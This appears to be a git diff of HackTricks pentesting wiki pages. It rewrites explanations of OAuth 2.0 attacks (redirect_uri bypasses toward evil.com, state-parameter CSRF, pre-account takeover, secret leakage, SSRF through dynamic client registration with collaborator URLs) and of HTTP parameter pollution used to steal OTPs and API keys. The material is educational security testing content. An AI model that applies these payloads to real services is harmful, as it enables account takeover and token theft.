* [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
* [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
## References
* [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
* [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
* [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
<details>

View file

@ -16,92 +16,72 @@ Other ways to support HackTricks:
## Basic Information <a href="#d4a8" id="d4a8"></a>
There are a couple different versions of OAuth, you can read [https://oauth.net/2/](https://oauth.net/2/) to get a baseline understanding.
OAuth offers various versions, with foundational insights accessible at [OAuth 2.0 documentation](https://oauth.net/2/). This discussion primarily centers on the widely used [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/), providing an **authorization framework that enables an application to access or perform actions on a user's account in another application** (the authorization server).
In this article, we will be focusing on the most common flow that you will come across today, which is the [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/). In essence, OAuth provides developers an **authorization mechanism to allow an application to access data or perform certain actions against your account, from another application** (the authorization server).
Consider a hypothetical website _**https://example.com**_, designed to **showcase all your social media posts**, including private ones. To achieve this, OAuth 2.0 is employed. _https://example.com_ will request your permission to **access your social media posts**. Consequently, a consent screen will appear on _https://socialmedia.com_, outlining the **permissions being requested and the developer making the request**. Upon your authorization, _https://example.com_ gains the ability to **access your posts on your behalf**.
For example, lets say website _**https://yourtweetreader.com**_ has functionality to **display all tweets youve ever sent**, including private tweets. In order to do this, OAuth 2.0 is introduced. _https://yourtweetreader.com_ will ask you to **authorize their Twitter application to access all your Tweets**. A consent page will pop up on _https://twitter.com_ displaying what **permissions are being requested**, and who the developer requesting it is. Once you authorize the request, _https://yourtweetreader.com_ will be **able to access to your Tweets on behalf of you**.
It's essential to grasp the following components within the OAuth 2.0 framework:
Elements which are important to understand in an OAuth 2.0 context:
- **resource owner**: You, as the **user/entity**, authorize access to your resource, like your social media account posts.
- **resource server**: The **server managing authenticated requests** after the application has secured an `access token` on behalf of the `resource owner`, e.g., **https://socialmedia.com**.
- **client application**: The **application seeking authorization** from the `resource owner`, such as **https://example.com**.
- **authorization server**: The **server that issues `access tokens`** to the `client application` following the successful authentication of the `resource owner` and securing authorization, e.g., **https://socialmedia.com**.
- **client\_id**: A public, unique identifier for the application.
- **client\_secret:** A confidential key, known solely to the application and the authorization server, used for generating `access_tokens`.
- **response\_type**: A value specifying **the type of token requested**, like `code`.
- **scope**: The **level of access** the `client application` is requesting from the `resource owner`.
- **redirect\_uri**: The **URL to which the user is redirected after authorization**. This typically must align with the pre-registered redirect URL.
- **state**: A parameter to **maintain data across the user's redirection to and from the authorization server**. Its uniqueness is critical for serving as a **CSRF protection mechanism**.
- **grant\_type**: A parameter indicating **the grant type and the type of token to be returned**.
- **code**: The authorization code from the `authorization server`, used in tandem with `client_id` and `client_secret` by the client application to acquire an `access_token`.
- **access\_token**: The **token that the client application uses for API requests** on behalf of the `resource owner`.
- **refresh\_token**: Enables the application to **obtain a new `access_token` without re-prompting the user**.
* **resource owner**: The `resource owner` is the **user/entity** granting access to their protected resource, such as their Twitter account Tweets. In this example, this would be **you**.
* **resource server**: The `resource server` is the **server handling authenticated requests** after the application has obtained an `access token` on behalf of the `resource owner` . In this example, this would be **https://twitter.com**
* **client application**: The `client application` is the **application requesting authorization** from the `resource owner`. In this example, this would be **https://yourtweetreader.com**.
* **authorization server**: The `authorization server` is the **server issuing `access tokens`** to the `client application` **after successfully authenticating** the `resource owner` and obtaining authorization. In the above example, this would be **https://twitter.com**
* **client\_id**: The `client_id` is the **identifier for the application**. This is a public, **non-secret** unique identifier.
* **client\_secret:** The `client_secret` is a **secret known only to the application and the authorization server**. This is used to generate `access_tokens`
* **response\_type**: The `response_type` is a value to detail **which type of token** is being requested, such as `code`
* **scope**: The `scope` is the **requested level of access** the `client application` is requesting from the `resource owner`
* **redirect\_uri**: The `redirect_uri` is the **URL the user is redirected to after the authorization is complete**. This usually must match the redirect URL that you have previously registered with the service
* **state**: The `state` parameter can **persist data between the user being directed to the authorization server and back again**. Its important that this is a unique value as it serves as a **CSRF protection mechanism** if it contains a unique or random value per request
* **grant\_type**: The `grant_type` parameter explains **what the grant type is**, and which token is going to be returned
* **code**: This `code` is the authorization code received from the `authorization server` which will be in the query string parameter “code” in this request. This code is used in conjunction with the `client_id` and `client_secret` by the client application to fetch an `access_token`
* **access\_token**: The `access_token` is the **token that the client application uses to make API requests** on behalf of a `resource owner`
* **refresh\_token**: The `refresh_token` allows an application to **obtain a new `access_token` without prompting the user**
### Flow
### Real Example
The **actual OAuth flow** proceeds as follows:
Putting this all together, here is what a **real OAuth flow looks like**:
1. You visit [https://yourtweetreader.com](https://yourtweetreader.com) and click the “Integrate with Twitter” button.
2. [https://yourtweetreader.com](https://yourtweetreader.com) sends a request to [https://twitter.com](https://twitter.com) asking you, the resource owner, to authorize https://yourtweetreader.coms Twitter application to access your Tweets. The request will look like:
1. You navigate to [https://example.com](https://example.com) and select the “Integrate with Social Media” button.
2. The site then sends a request to [https://socialmedia.com](https://socialmedia.com) asking for your authorization to let https://example.coms application access your posts. The request is structured as:
```
https://twitter.com/auth
?response_type=code
&client_id=yourtweetreader_clientId
&redirect_uri=https%3A%2F%2Fyourtweetreader.com%2Fcallback
&scope=readTweets
&state=kasodk9d1jd992k9klaskdh123
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
```
3\. You will be prompted with a consent page:
3. You are then presented with a consent page.
![](https://miro.medium.com/max/1215/1\*y66EY3Fn2qn-NPI9nhZC7A.png)
4\. Once accepted, Twitter will send a request back to the `redirect_uri` with the `code` and `state` parameters:
4. Following your approval, Social Media sends a response to the `redirect_uri` with the `code` and `state` parameters:
```
https://yourtweetreader.com?code=asd91j3jd91j92j1j9d1&state=kasodk9d1jd992k9klaskdh123
https://example.com?code=uniqueCode123&state=randomString123
```
5\. [https://yourtweetreader.com](https://yourtweetreader.com) will then take that `code` , and using their applications `client_id` and `client_secret` , will make a request from the server to retrieve an `access_token` on behalf of you, which will allow them to access the permissions you consented to:
5. https://example.com utilizes this `code`, together with its `client_id` and `client_secret`, to make a server-side request to obtain an `access_token` on your behalf, enabling access to the permissions you consented to:
```
POST /oauth/access_token
Host: twitter.com
...{"client_id": "yourtweetreader_clientId", "client_secret": "yourtweetreader_clientSecret", "code": "asd91j3jd91j92j1j9d1", "grant_type": "authorization_code"}
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
```
6\. Finally, the flow is complete and [https://yourtweetreader.com](https://yourtweetreader.com) will make an API call to Twitter with your `access_token` to access your Tweets.
6. Finally, the process concludes as https://example.com employs your `access_token` to make an API call to Social Media to access
## Bug Bounty Findings <a href="#323a" id="323a"></a>
## Vulnerabilities <a href="#323a" id="323a"></a>
Now, the interesting part! There are many things that can go wrong in an OAuth implementation, here are the different categories of bugs I frequently see:
### Open redirect\_uri <a href="#cc36" id="cc36"></a>
### Weak redirect\_uri configuration <a href="#cc36" id="cc36"></a>
The `redirect_uri` is crucial for security in OAuth and OpenID implementations, as it directs where sensitive data, like authorization codes, are sent post-authorization. If misconfigured, it could allow attackers to redirect these requests to malicious servers, enabling account takeover.
The `redirect_uri` is very important because **sensitive data, such as the `code` is appended to this URL** after authorization. If the `redirect_uri` can be redirected to an **attacker controlled server**, this means the attacker can potentially **takeover a victims account** by using the `code` themselves, and gaining access to the victims data.
Exploitation techniques vary based on the authorization server's validation logic. They can range from strict path matching to accepting any URL within the specified domain or subdirectory. Common exploitation methods include open redirects, path traversal, exploiting weak regexes, and HTML injection for token theft.
The way this is going to be exploited is going to vary by authorization server. **Some** will **only accept** the exact same **`redirect_uri` path as specified in the client application**, but some will **accept anything** in the same domain or subdirectory of the `redirect_uri` .
Besides `redirect_uri`, other OAuth and OpenID parameters like `client_uri`, `policy_uri`, `tos_uri`, and `initiate_login_uri` are also susceptible to redirection attacks. These parameters are optional and their support varies across servers.
Depending on the logic handled by the server, there are a number of techniques to bypass a `redirect_uri` . In a situation where a `redirect_uri` is [https://yourtweetreader.com](https://yourtweetreader.com)/callback, these include:
* Open redirects: [`https://yourtweetreader.com`](https://yourtweetreader.com)`/callback?redirectUrl=https://evil.com`
* Path traversal: `https://yourtweetreader.com/callback/../redirect?url=https://evil.com`
* Weak `redirect_uri` regexes: `https://yourtweetreader.com.evil.com`
* HTML Injection and stealing tokens via referer header: `https://yourtweetreader.com/callback/home/attackerimg.jpg`
**Other parameters** that can be vulnerable to Open Redirects are:
* **client\_uri** - URL of the home page of the client application
* **policy\_uri** - URL that the Relying Party client application provides so that the end user can read about how their profile data will be used.
* **tos\_uri** - URL that the Relying Party client provides so that the end user can read about the Relying Party's terms of service.
* **initiate\_login\_uri** - URI using the https scheme that a third party can use to initiate a login by the RP. Also should be used for client-side redirection.
All these parameters are **optional according to the OAuth and OpenID** specifications and not always supported on a particular server, so it's always worth identifying which parameters are supported on your server.
If you target an OpenID server, the discovery endpoint at \*\*`.well-known/openid-configuration`\*\*sometimes contains parameters such as "_registration\_endpoint_", "_request\_uri\_parameter\_supported_", and "_require\_request\_uri\_registration_". These can help you to find the registration endpoint and other server configuration values.
For those targeting an OpenID server, the discovery endpoint (`**.well-known/openid-configuration**`) often lists valuable configuration details like `registration_endpoint`, `request_uri_parameter_supported`, and "`require_request_uri_registration`. These details can aid in identifying the registration endpoint and other configuration specifics of the server.
### XSS in redirect implementation <a href="#bda5" id="bda5"></a>
@ -113,38 +93,26 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
### CSRF - Improper handling of state parameter <a href="#bda5" id="bda5"></a>
Very often, the **`state` parameter is completely omitted or used in the wrong way**. If a state parameter is **nonexistent**, **or a static value** that never changes, the OAuth flow will very likely be **vulnerable to CSRF**. Sometimes, even if there is a `state` parameter, the **application might not do any validation of the parameter** and an attack will work. The way to exploit this would be to go through the authorization process on your own account, and pause right after authorising. You will then come across a request such as:
In OAuth implementations, the misuse or omission of the **`state` parameter** can significantly increase the risk of **Cross-Site Request Forgery (CSRF)** attacks. This vulnerability arises when the `state` parameter is either **not used, used as a static value, or not properly validated**, allowing attackers to bypass CSRF protections.
```
https://yourtweetreader.com?code=asd91j3jd91j92j1j9d1
```
Attackers can exploit this by intercepting the authorization process to link their account with a victim's account, leading to potential **account takeovers**. This is especially critical in applications where OAuth is used for **authentication purposes**.
After you receive this request, you can then **drop the request because these codes are typically one-time use**. You can then send this URL to a **logged-in user, and it will add your account to their account**. At first, this might not sound very sensitive since you are simply adding your account to a victims account. However, many OAuth implementations are for sign-in purposes, so if you can add your Google account which is used for logging in, you could potentially perform an **Account Takeover** with a single click as logging in with your Google account would give you access to the victims account.
Real-world examples of this vulnerability have been documented in various **CTF challenges** and **hacking platforms**, highlighting its practical implications. The issue also extends to integrations with third-party services like **Slack**, **Stripe**, and **PayPal**, where attackers can redirect notifications or payments to their accounts.
You can find an **example** about this in this [**CTF writeup**](https://github.com/gr455/ctf-writeups/blob/master/hacktivity20/notes\_surfer.md) and in the **HTB box called Oouch**.
Ive also seen the state parameter used as an additional redirect value several times. The application will use `redirect_uri` for the initial redirect, but then the `state` parameter as a second redirect which could contain the `code` within the query parameters, or referer header.
One important thing to note is this doesnt just apply to logging in and account takeover type situations. Ive seen misconfigurations in:
* Slack integrations allowing an attacker to add their Slack account as the recipient of all notifications/messages
* Stripe integrations allowing an attacker to overwrite payment info and accept payments from the victims customers
* PayPal integrations allowing an attacker to add their PayPal account to the victims account, which would deposit money to the attackers PayPal
Proper handling and validation of the **`state` parameter** are crucial for safeguarding against CSRF and securing the OAuth flow.
### Pre Account Takeover <a href="#ebe4" id="ebe4"></a>
One of the other more common issues I see is when applications allow “Sign in with X” but also username/password. There are 2 different ways to attack this:
1. **Without Email Verification on Account Creation**: Attackers can preemptively create an account using the victim's email. If the victim later uses a third-party service for login, the application might inadvertently link this third-party account to the attacker's pre-created account, leading to unauthorized access.
2. **Exploiting Lax OAuth Email Verification**: Attackers may exploit OAuth services that don't verify emails by registering with their service and then changing the account email to the victim's. This method similarly risks unauthorized account access, akin to the first scenario but through a different attack vector.
1. If the application does **not require email verification on account creation**, try **creating an account with a victims email address and attacker password** before the victim has registered. If the **victim** then tries to register or sign in **with a third party**, such as Google, its possible the application will do a lookup, see that email is already registered, then l**ink their Google account to the attacker created account**. This is a “**pre account takeover**” where an attacker will have access to the victims account if they created it prior to the victim registering.
2. If an **OAuth app does not require email verification**, try signing up with that OAuth app and then change the email address with a **victims email address**. The same issue as above could exist, but youd be attacking it from the other direction and getting access to the victims account for an account takeover.
### Disclosure of Secrets <a href="#e177" id="e177"></a>
Its very important to recognize **which of the many OAuth parameters are secret**, and to protect those. For example, leaking the `client_id` is perfectly fine and necessary, but leaking the **`client_secret` is dangerous**. If this is leaked, the **attacker** can potentially **abuse the trust and identity of the trusted client application to steal user `access_tokens` and private information/access for their integrated accounts**. Going back to our earlier example, one issue Ive seen is performing this step from the client, instead of the server:
Identifying and protecting secret OAuth parameters is crucial. While the **`client_id`** can be safely disclosed, revealing the **`client_secret`** poses significant risks. If the `client_secret` is compromised, attackers can exploit the identity and trust of the application to **steal user `access_tokens`** and private information.
_5._ [_https://yourtweetreader.com_](https://yourtweetreader.com) _will then take that `code` , and using their applications `client_id` and `client_secret` , will make a request from the server to retrieve an `access_token` on behalf of you, which will allow them to access the permissions you consented to._
**If this is done from the client, the `client_secret` will be leaked and users will be able to generate `access_tokens` on behalf of the application**. With some social engineering, they can also **add more scopes to the OAuth authorization** and it will all appear legitimate as the request will come from the trusted client application.
A common vulnerability arises when applications mistakenly handle the exchange of the authorization `code` for an `access_token` on the client-side rather than the server-side. This mistake leads to the exposure of the `client_secret`, enabling attackers to generate `access_tokens` under the guise of the application. Moreover, through social engineering, attackers could escalate privileges by adding additional scopes to the OAuth authorization, further exploiting the application's trusted status.
### Client Secret Bruteforce
@ -179,6 +147,8 @@ If you can get the **authorization code and use it with a different client then
### Happy Paths, XSS, Iframes & Post Messages to leak code & state values
**[Check this post](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)**
### AWS Cognito <a href="#bda5" id="bda5"></a>
In this bug bounty report: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) you can see that the **token** that **AWS Cognito** gives back to the user might have **enough permissions to overwrite the user data**. Therefore, if you can **change the user email for a different user email**, you might be able to **take over** others accounts.
@ -222,53 +192,24 @@ To bypass this prompt, it was possible to open a tab to initiate the **Oauth flo
### SSRFs parameters <a href="#bda5" id="bda5"></a>
One of the hidden URLs that you may miss is the **Dynamic Client Registration endpoint**. In order to successfully authenticate users, OAuth servers need to know details about the client application, such as the "client\_name", "client\_secret", "redirect\_uris", and so on. These details can be provided via local configuration, but OAuth authorization servers may also have a **special registration endpoint**. This endpoint is normally mapped to "/register" and accepts POST requests with the following format:
**[Check this research](https://portswigger.net/research/hidden-oauth-attack-vectors) For further details of this technique.**
```json
POST /connect/register HTTP/1.1
Content-Type: application/json
Host: server.example.com
Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJ ...
Dynamic Client Registration in OAuth serves as a less obvious but critical vector for security vulnerabilities, specifically for **Server-Side Request Forgery (SSRF)** attacks. This endpoint allows OAuth servers to receive details about client applications, including sensitive URLs that could be exploited.
{
"application_type": "web",
"redirect_uris": ["https://client.example.org/callback"],
"client_name": "My Example",
"logo_uri": "https://client.example.org/logo.png",
"subject_type": "pairwise",
"sector_identifier_uri": "https://example.org/rdrct_uris.json",
"token_endpoint_auth_method": "client_secret_basic",
"jwks_uri": "https://client.example.org/public_keys.jwks",
"contacts": ["ve7jtb@example.org"],
"request_uris": ["https://client.example.org/rf.txt"]
}
```
**Key Points:**
There are two specifications that define parameters in this request: [RFC7591](https://tools.ietf.org/html/rfc7591) for OAuth and [Openid Connect Registration 1.0](https://openid.net/specs/openid-connect-registration-1\_0.html#rfc.section.3.1).
- **Dynamic Client Registration** is often mapped to `/register` and accepts details like `client_name`, `client_secret`, `redirect_uris`, and URLs for logos or JSON Web Key Sets (JWKs) via POST requests.
- This feature adheres to specifications laid out in **RFC7591** and **OpenID Connect Registration 1.0**, which include parameters potentially vulnerable to SSRF.
- The registration process can inadvertently expose servers to SSRF in several ways:
- **`logo_uri`**: A URL for the client application's logo that might be fetched by the server, triggering SSRF or leading to XSS if the URL is mishandled.
- **`jwks_uri`**: A URL to the client's JWK document, which if maliciously crafted, can cause the server to make outbound requests to an attacker-controlled server.
- **`sector_identifier_uri`**: References a JSON array of `redirect_uris`, which the server might fetch, creating an SSRF opportunity.
- **`request_uris`**: Lists allowed request URIs for the client, which can be exploited if the server fetches these URIs at the start of the authorization process.
As you can see here, a number of these values are passed in via URL references and look like potential targets for [Server Side Request Forgery](https://portswigger.net/web-security/ssrf). At the same time, most servers we've tested do not resolve these URLs immediately when they receive a registration request. Instead, they just **save these parameters and use them later during the OAuth authorization flow**. In other words, this is more like a second-order SSRF, which makes black-box detection harder.
**Exploitation Strategy:**
The following parameters are particularly interesting for SSRF attacks:
* **logo\_uri** - URL that references a **logo for the client application**. **After you register a client**, you can try to call the OAuth authorization endpoint ("/authorize") using your new "client\_id". After the login, the server will ask you to approve the request and **may display the image from the "logo\_uri"**. If the **server fetches the image by itself**, the SSRF should be triggered by this step. Alternatively, the server may just include the logo via a **client-side "\<img>" tag**. Although this doesn't lead to SSRF, it may lead to **XSS if the URL is not escaped**.
* **jwks\_uri** - URL for the client's JSON Web Key Set \[JWK] document. This key set is needed on the server for validating signed requests made to the token endpoint when using JWTs for client authentication \[RFC7523]. In order to test for SSRF in this parameter, **register a new client application with a malicious "jwks\_uri"**, perform the authorization process to **obtain an authorization code for any user, and then fetch the "/token" endpoint** with the following body:
`POST /oauth/token HTTP/1.1`\
`...`\
\`\`\
`grant_type=authorization_code&code=n0esc3NRze7LTCu7iYzS6a5acc3f0ogp4&client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer&client_assertion=eyJhbGci...`
If vulnerable, the **server should perform a server-to-server HTTP request to the supplied "jwks\_uri"** because it needs this key to check the validity of the "client\_assertion" parameter in your request. This will probably only be a **blind SSRF vulnerability though**, as the server expects a proper JSON response.
* **sector\_identifier\_uri** - This URL references a file with a single **JSON array of redirect\_uri values**. If supported, the server may **fetch this value as soon as you submit the dynamic registration request**. If this is not fetched immediately, try to perform authorization for this client on the server. As it needs to know the redirect\_uris in order to complete the authorization flow, this will force the server to make a request to your malicious sector\_identifier\_uri.
* **request\_uris** - An array of the **allowed request\_uris for this client**. The "request\_uri" parameter may be supported on the authorization endpoint to provide a URL that contains a JWT with the request information (see [https://openid.net/specs/openid-connect-core-1\_0.html#rfc.section.6.2](https://openid.net/specs/openid-connect-core-1\_0.html#rfc.section.6.2)).
Even if dynamic client registration is not enabled, or it requires authentication, we can try to perform SSRF on the authorization endpoint simply by using "request\_uri":\\
`GET /authorize?response_type=code%20id_token&client_id=sclient1&request_uri=https://ybd1rc7ylpbqzygoahtjh6v0frlh96.burpcollaborator.net/request.jwt`
Note: do not confuse this parameter with "redirect\_uri". The "redirect\_uri" is used for redirection after authorization, whereas **"request\_uri" is fetched by the server at the start of the authorization process**.
At the same time, many servers we've seen do not allow arbitrary "request\_uri" values: they only allow whitelisted URLs that were pre-registered during the client registration process. That's why we need to supply "request\_uris": "https://ybd1rc7ylpbqzygoahtjh6v0frlh96.burpcollaborator.net/request.jwt" beforehand.
- SSRF can be triggered by registering a new client with malicious URLs in parameters like `logo_uri`, `jwks_uri`, or `sector_identifier_uri`.
- While direct exploitation via `request_uris` may be mitigated by whitelist controls, supplying a pre-registered, attacker-controlled `request_uri` can facilitate SSRF during the authorization phase.
## OAuth providers Race Conditions

View file

@ -1,27 +0,0 @@
# OAuth - Happy Paths, XSS, Iframes & Post Messages to leak code & state values
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Check the post [https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url](https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)**
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -187,9 +187,10 @@ exit;
# Resources
In [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) you can find fuzzing lists.\
[https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)\
[https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
* In [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) you can find fuzzing lists.\
* [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)\
* [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
* [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
<details>

View file

@ -16,42 +16,50 @@ Other ways to support HackTricks:
# HTTP Parameter Pollution (HPP) Overview
HTTP Parameter Pollution (HPP) is an attack technique involving the manipulation of HTTP parameters to alter a web application's expected behavior. This kind of attack is relatively straightforward but can be remarkably effective. Although the parameter manipulation occurs server-side and is not visible to the user, the resulting behavior changes can be observed on the client side.
HTTP Parameter Pollution (HPP) is a technique where attackers manipulate HTTP parameters to change the behavior of a web application in unintended ways. This manipulation is done by adding, modifying, or duplicating HTTP parameters. The effect of these manipulations is not directly visible to the user but can significantly alter the application's functionality on the server side, with observable impacts on the client side.
##Example of HTTP Parameter Pollution (HPP)
## Example of HTTP Parameter Pollution (HPP)
Consider a standard transaction URL for a banking application:
A banking application transaction URL:
**URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
- **Original URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
This URL initiates a transaction of 10,000 from accountA to accountB. However, introducing another `from` parameter like so:
By inserting an additional `from` parameter:
**Manipulated URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
- **Manipulated URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
might result in the transaction being deducted from accountC instead of accountA. This exemplifies how HPP can be used to manipulate parameters. Notably, this vulnerability is not confined to GET requests but can also be exploited in POST requests across various functionalities such as password changes, 2FA, or API key transmissions.
The transaction may be incorrectly charged to `accountC` instead of `accountA`, showcasing the potential of HPP to manipulate transactions or other functionalities such as password resets, 2FA settings, or API key requests.
It's important to recognize that parameter parsing is dependent on the specific web technology in use. Tools like [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) can be used to identify web technologies and understand their parameter parsing behaviors.
### **Technology-Specific Parameter Parsing**
## PHP
- The way parameters are parsed and prioritized depends on the underlying web technology, affecting how HPP can be exploited.
- Tools like [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) help identify these technologies and their parsing behaviors.
A notable instance of exploiting HPP involved the following steps:
## PHP and HPP Exploitation
1. **OTP Manipulation:**
- A login page requesting an OTP was the target.
- After sending an OTP request, the subsequent HTTP request was intercepted using Burp Suite.
- Another email was added to the request, effectively duplicating the `email` parameter.
- The OTP intended for the first email was mistakenly sent to the second email, allowing unauthorized access to the first account.
**OTP Manipulation Case:**
This incident underscores how the application backend processed the `email` parameters, utilizing the first for OTP generation and the second for OTP delivery.
- **Context:** A login mechanism requiring a One-Time Password (OTP) was exploited.
- **Method:** By intercepting the OTP request using tools like Burp Suite, attackers duplicated the `email` parameter in the HTTP request.
- **Outcome:** The OTP, meant for the initial email, was instead sent to the second email address specified in the manipulated request. This flaw allowed unauthorized access by circumventing the intended security measure.
# Parameter Parsing in Flask & PHP
This scenario highlights a critical oversight in the application's backend, which processed the first `email` parameter for OTP generation but used the last for delivery.
Different web technologies parse parameters uniquely. For instance, with a query like `a=1&a=2`, Flask and PHP will interpret the parameter differently:
**API Key Manipulation Case:**
- **Flask:** Takes the first occurrence (a=1).
- **PHP (on Apache HTTP Server):** Takes the last occurrence (a=2).
- **Scenario:** An application allows users to update their API key through a profile settings page.
- **Attack Vector:** An attacker discovers that by appending an additional `api_key` parameter to the POST request, they can manipulate the outcome of the API key update function.
- **Technique:** Utilizing a tool like Burp Suite, the attacker crafts a request that includes two `api_key` parameters: one legitimate and one malicious. The server, processing only the last occurrence, updates the API key to the attacker's provided value.
- **Result:** The attacker gains control over the victim's API functionality, potentially accessing or modifying private data unauthorizedly.
This difference in parameter handling can significantly impact application behavior and vulnerability to HPP attacks. More details on this can be found in [this writeup](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution).
This example further underscores the necessity for secure parameter handling, especially in features as critical as API key management.
## Parameter Parsing: Flask vs. PHP
The way web technologies handle duplicate HTTP parameters varies, affecting their susceptibility to HPP attacks:
- **Flask:** Adopts the first parameter value encountered, such as `a=1` in a query string `a=1&a=2`, prioritizing the initial instance over subsequent duplicates.
- **PHP (on Apache HTTP Server):** Contrarily, prioritizes the last parameter value, opting for `a=2` in the given example. This behavior can inadvertently facilitate HPP exploits by honoring the attacker's manipulated parameter over the original.
# References
